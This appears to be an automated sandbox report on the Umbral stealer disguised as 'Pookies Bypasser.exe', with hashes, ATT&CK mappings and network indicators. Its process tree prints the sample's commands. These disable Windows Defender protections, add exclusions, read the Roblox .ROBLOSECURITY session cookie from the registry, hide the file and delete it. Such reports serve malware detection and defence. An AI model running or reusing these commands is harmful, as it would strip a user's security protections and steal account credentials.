umbral | 6594aa4b2efc8137b453fe978ae2ff5ae6f055e4d79539fa4804933e208ffdf4

Analysis

max time kernel
95s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10-05-2024 21:19

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General

Target

Pookies Bypasser.exe
Size

229KB
MD5

5dcae9f331eabd47b8a078fad0f812c8
SHA1

39baa462feac529cc7d907a9bc7028444748992e
SHA256

6594aa4b2efc8137b453fe978ae2ff5ae6f055e4d79539fa4804933e208ffdf4
SHA512

3ae8037c1bb7e48a2e0d1d8a06faba35bd998c6dda8f5c8dbe8a7cfae51e8c5f8ce6da3ba379a8690549a6bb5b2c9ef05b703aa34eaeabdc9ebb952dc083d756
SSDEEP

6144:VloZM+rIkd8g+EtXHkv/iD4S2eNiAfboSxUyzzqbKb8e1mri:3oZtL+EP8S2eNiAfboSxUyzzqyZ

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1524-0-0x0000013DAFC10000-0x0000013DAFC50000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3160	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Pookies Bypasser.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4324	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2416	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1524	Pookies Bypasser.exe
3160	powershell.exe
3160	powershell.exe
1620	powershell.exe
1620	powershell.exe
4440	powershell.exe
4440	powershell.exe
3096	powershell.exe
3096	powershell.exe
3672	powershell.exe
3672	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	Pookies Bypasser.exe
Token: SeIncreaseQuotaPrivilege	2580	wmic.exe
Token: SeSecurityPrivilege	2580	wmic.exe
Token: SeTakeOwnershipPrivilege	2580	wmic.exe
Token: SeLoadDriverPrivilege	2580	wmic.exe
Token: SeSystemProfilePrivilege	2580	wmic.exe
Token: SeSystemtimePrivilege	2580	wmic.exe
Token: SeProfSingleProcessPrivilege	2580	wmic.exe
Token: SeIncBasePriorityPrivilege	2580	wmic.exe
Token: SeCreatePagefilePrivilege	2580	wmic.exe
Token: SeBackupPrivilege	2580	wmic.exe
Token: SeRestorePrivilege	2580	wmic.exe
Token: SeShutdownPrivilege	2580	wmic.exe
Token: SeDebugPrivilege	2580	wmic.exe
Token: SeSystemEnvironmentPrivilege	2580	wmic.exe
Token: SeRemoteShutdownPrivilege	2580	wmic.exe
Token: SeUndockPrivilege	2580	wmic.exe
Token: SeManageVolumePrivilege	2580	wmic.exe
Token: 33	2580	wmic.exe
Token: 34	2580	wmic.exe
Token: 35	2580	wmic.exe
Token: 36	2580	wmic.exe
Token: SeIncreaseQuotaPrivilege	2580	wmic.exe
Token: SeSecurityPrivilege	2580	wmic.exe
Token: SeTakeOwnershipPrivilege	2580	wmic.exe
Token: SeLoadDriverPrivilege	2580	wmic.exe
Token: SeSystemProfilePrivilege	2580	wmic.exe
Token: SeSystemtimePrivilege	2580	wmic.exe
Token: SeProfSingleProcessPrivilege	2580	wmic.exe
Token: SeIncBasePriorityPrivilege	2580	wmic.exe
Token: SeCreatePagefilePrivilege	2580	wmic.exe
Token: SeBackupPrivilege	2580	wmic.exe
Token: SeRestorePrivilege	2580	wmic.exe
Token: SeShutdownPrivilege	2580	wmic.exe
Token: SeDebugPrivilege	2580	wmic.exe
Token: SeSystemEnvironmentPrivilege	2580	wmic.exe
Token: SeRemoteShutdownPrivilege	2580	wmic.exe
Token: SeUndockPrivilege	2580	wmic.exe
Token: SeManageVolumePrivilege	2580	wmic.exe
Token: 33	2580	wmic.exe
Token: 34	2580	wmic.exe
Token: 35	2580	wmic.exe
Token: 36	2580	wmic.exe
Token: SeDebugPrivilege	3160	powershell.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	3096	powershell.exe
Token: SeIncreaseQuotaPrivilege	4456	wmic.exe
Token: SeSecurityPrivilege	4456	wmic.exe
Token: SeTakeOwnershipPrivilege	4456	wmic.exe
Token: SeLoadDriverPrivilege	4456	wmic.exe
Token: SeSystemProfilePrivilege	4456	wmic.exe
Token: SeSystemtimePrivilege	4456	wmic.exe
Token: SeProfSingleProcessPrivilege	4456	wmic.exe
Token: SeIncBasePriorityPrivilege	4456	wmic.exe
Token: SeCreatePagefilePrivilege	4456	wmic.exe
Token: SeBackupPrivilege	4456	wmic.exe
Token: SeRestorePrivilege	4456	wmic.exe
Token: SeShutdownPrivilege	4456	wmic.exe
Token: SeDebugPrivilege	4456	wmic.exe
Token: SeSystemEnvironmentPrivilege	4456	wmic.exe
Token: SeRemoteShutdownPrivilege	4456	wmic.exe
Token: SeUndockPrivilege	4456	wmic.exe
Token: SeManageVolumePrivilege	4456	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 2580	1524	Pookies Bypasser.exe	83
PID 1524 wrote to memory of 2580	1524	Pookies Bypasser.exe	83
PID 1524 wrote to memory of 3728	1524	Pookies Bypasser.exe	88
PID 1524 wrote to memory of 3728	1524	Pookies Bypasser.exe	88
PID 1524 wrote to memory of 3160	1524	Pookies Bypasser.exe	90
PID 1524 wrote to memory of 3160	1524	Pookies Bypasser.exe	90
PID 1524 wrote to memory of 1620	1524	Pookies Bypasser.exe	92
PID 1524 wrote to memory of 1620	1524	Pookies Bypasser.exe	92
PID 1524 wrote to memory of 4440	1524	Pookies Bypasser.exe	95
PID 1524 wrote to memory of 4440	1524	Pookies Bypasser.exe	95
PID 1524 wrote to memory of 3096	1524	Pookies Bypasser.exe	97
PID 1524 wrote to memory of 3096	1524	Pookies Bypasser.exe	97
PID 1524 wrote to memory of 4456	1524	Pookies Bypasser.exe	99
PID 1524 wrote to memory of 4456	1524	Pookies Bypasser.exe	99
PID 1524 wrote to memory of 2052	1524	Pookies Bypasser.exe	101
PID 1524 wrote to memory of 2052	1524	Pookies Bypasser.exe	101
PID 1524 wrote to memory of 1924	1524	Pookies Bypasser.exe	103
PID 1524 wrote to memory of 1924	1524	Pookies Bypasser.exe	103
PID 1524 wrote to memory of 3672	1524	Pookies Bypasser.exe	105
PID 1524 wrote to memory of 3672	1524	Pookies Bypasser.exe	105
PID 1524 wrote to memory of 4324	1524	Pookies Bypasser.exe	108
PID 1524 wrote to memory of 4324	1524	Pookies Bypasser.exe	108
PID 1524 wrote to memory of 1012	1524	Pookies Bypasser.exe	110
PID 1524 wrote to memory of 1012	1524	Pookies Bypasser.exe	110
PID 1012 wrote to memory of 2416	1012	cmd.exe	112
PID 1012 wrote to memory of 2416	1012	cmd.exe	112

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3728	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe
"C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2580
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe"
  2⤵
  - Views/modifies file attributes
  PID:3728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3096
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4456
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2052
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3672
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a58f982c18490e622e00d4eb75ace5a

SHA1
60c30527b74659ecf09089a5a7c02a1df9a71b65

SHA256
4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

SHA512
ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec1ba4a995d866b282087b26a0539bbc

SHA1
c4aeae2bc3fa9a898680648b20102f01e8a811cf

SHA256
469da678c3c0364b1b511962cffd44cbfc10aab5c1c528c0c09fd952f08d8a2c

SHA512
07bf757ec9d0d368d3ef1bfc2b562895e2708757f8fefa04fa50beaa6fb38af1018ea0cfccf5666c5c8baa4c894deead9652c53e0608aa6a83ef5b396dba43e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3u0mmhry.pwz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1524-71-0x0000013DCA2E0000-0x0000013DCA2EA000-memory.dmp

Filesize
40KB

Download
memory/1524-35-0x0000013DCA430000-0x0000013DCA44E000-memory.dmp

Filesize
120KB

Download
memory/1524-90-0x00007FFF04090000-0x00007FFF04B51000-memory.dmp

Filesize
10.8MB

Download
memory/1524-72-0x0000013DCA3E0000-0x0000013DCA3F2000-memory.dmp

Filesize
72KB

Download
memory/1524-2-0x00007FFF04090000-0x00007FFF04B51000-memory.dmp

Filesize
10.8MB

Download
memory/1524-33-0x0000013DCA340000-0x0000013DCA3B6000-memory.dmp

Filesize
472KB

Download
memory/1524-34-0x0000013DCA2F0000-0x0000013DCA340000-memory.dmp

Filesize
320KB

Download
memory/1524-0-0x0000013DAFC10000-0x0000013DAFC50000-memory.dmp

Filesize
256KB

Download
memory/1524-1-0x00007FFF04093000-0x00007FFF04095000-memory.dmp

Filesize
8KB

Download
memory/3160-15-0x00007FFF04090000-0x00007FFF04B51000-memory.dmp

Filesize
10.8MB

Download
memory/3160-14-0x00007FFF04090000-0x00007FFF04B51000-memory.dmp

Filesize
10.8MB

Download
memory/3160-13-0x00007FFF04090000-0x00007FFF04B51000-memory.dmp

Filesize
10.8MB

Download
memory/3160-9-0x000001B7A1C50000-0x000001B7A1C72000-memory.dmp

Filesize
136KB

Download
memory/3160-18-0x00007FFF04090000-0x00007FFF04B51000-memory.dmp

Filesize
10.8MB

Download